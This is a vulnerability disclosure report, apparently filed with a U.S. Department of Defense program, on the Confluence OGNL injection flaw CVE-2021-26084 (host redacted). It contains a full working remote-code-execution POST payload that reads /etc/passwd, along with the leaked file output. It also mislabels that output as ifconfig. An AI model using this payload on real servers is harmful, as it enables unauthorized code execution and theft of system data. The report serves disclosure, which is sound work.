U.S. Dept Of Defense: RCE in ███ [CVE-2021-26084]

In affected versions of Confluence Server and Data Center, an OGNL injection vulnerability exists that would allow an authenticated user, and in some instances an unauthenticated user, to execute arbitrary code on a Confluence Server or Data Center instance. The vulnerable endpoints can be accessed by a non-administrator user or unauthenticated user if ‘Allow people to sign up to create their account’ is enabled. To check whether this is enabled go to COG > User Management > User Signup Options. The affected versions are before version 6.13.23, from version 6.14.0 before 7.4.11, from version 7.5.0 before 7.11.6, and from version 7.12.0

Impact

• An unauthenticated, 3rd-party attacker or adversary can execute remote code

System Host(s)

██████████

Affected Product(s) and Version(s)

CVE Numbers

CVE-2021-26084

Steps to Reproduce

POST
(command cat /etc/passwd)

POST /confluence/pages/doenterpagevariables.action HTTP/1.1
Host: ████
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.2117.157 Safari/537.36
Accept-Encoding: gzip
Content-Length: 915

queryString=aaaaaaaa\u0027%2b{Class.forName(\u0027javax.script.ScriptEngineManager\u0027).newInstance().getEngineByName(\u0027JavaScript\u0027).\u0065val(\u0027var+isWin+%3d+java.lang.System.getProperty(\u0022os.name\u0022).toLowerCase().contains(\u0022win\u0022)%3b+var+cmd+%3d+new+java.lang.String(\u0022cat /etc/passwd\u0022)%3bvar+p+%3d+new+java.lang.ProcessBuilder()%3b+if(isWin){p.command(\u0022cmd.exe\u0022,+\u0022/c\u0022,+cmd)%3b+}+else{p.command(\u0022bash\u0022,+\u0022-c\u0022,+cmd)%3b+}p.redirectErrorStream(true)%3b+var+process%3d+p.start()%3b+var+inputStreamReader+%3d+new+java.io.InputStreamReader(process.getInputStream())%3b+var+bufferedReader+%3d+new+java.io.BufferedReader(inputStreamReader)%3b+var+line+%3d+\u0022\u0022%3b+var+output+%3d+\u0022\u0022%3b+while((line+%3d+bufferedReader.readLine())+!%3d+null){output+%3d+output+%2b+line+%2b+java.lang.Character.toString(10)%3b+}\u0027)}%2b\u0027

You will see the output of the ifconfig command

OUTPUT

         type="hidden"
          name="queryString"            value="aaaaaaaa[root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
confluence:x:2002:2002::/var/atlassian/application-data/confluence:/bin/bash
]"             />                <input
]"             />

Suggested Mitigation/Remediation Actions